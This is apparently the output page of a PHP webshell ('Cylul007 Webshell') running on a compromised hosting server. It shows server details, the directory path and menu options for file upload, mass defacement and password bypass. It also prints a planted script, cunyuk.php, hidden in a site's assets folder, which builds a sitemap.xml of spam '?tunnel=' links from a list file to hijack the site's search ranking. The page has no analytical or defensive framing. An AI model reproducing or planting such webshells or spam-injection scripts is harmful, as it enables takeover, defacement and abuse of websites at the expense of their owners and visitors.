Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 22:19:39
Current Directory :
/
home
/
amvm
/
www
/
manderdona
/
assets
/
ovo
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/www/manderdona/assets/ovo/cunyuk.php
<?php function getFileRowCount($filename) { $file = fopen($filename, "r"); $rowCount = 0; while (!feof($file)) { fgets($file); $rowCount++; } fclose($file); return $rowCount; } $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (isset($fullUrl)) { $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; $baseUrl = $scheme . "://" . $host . $path; $urlAsli = str_replace("cunyuk.php", "", $baseUrl); $judulFile = "list.txt"; $jumlahBaris = getFileRowCount($judulFile); $sitemapFile = fopen("sitemap.xml", "w"); fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL); fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL); $fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($fileLines as $index => $judul) { $sitemapLink = $urlAsli . '?tunnel=' . urlencode($judul); fwrite($sitemapFile, ' <url>' . PHP_EOL); fwrite($sitemapFile, ' <loc>' . $sitemapLink . '</loc>' . PHP_EOL); fwrite($sitemapFile, ' </url>' . PHP_EOL); } fwrite($sitemapFile, '</urlset>' . PHP_EOL); fclose($sitemapFile); echo "Wajar wajah kurang ganteng bro."; } else { echo "URL saat ini tidak didefinisikan."; } ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18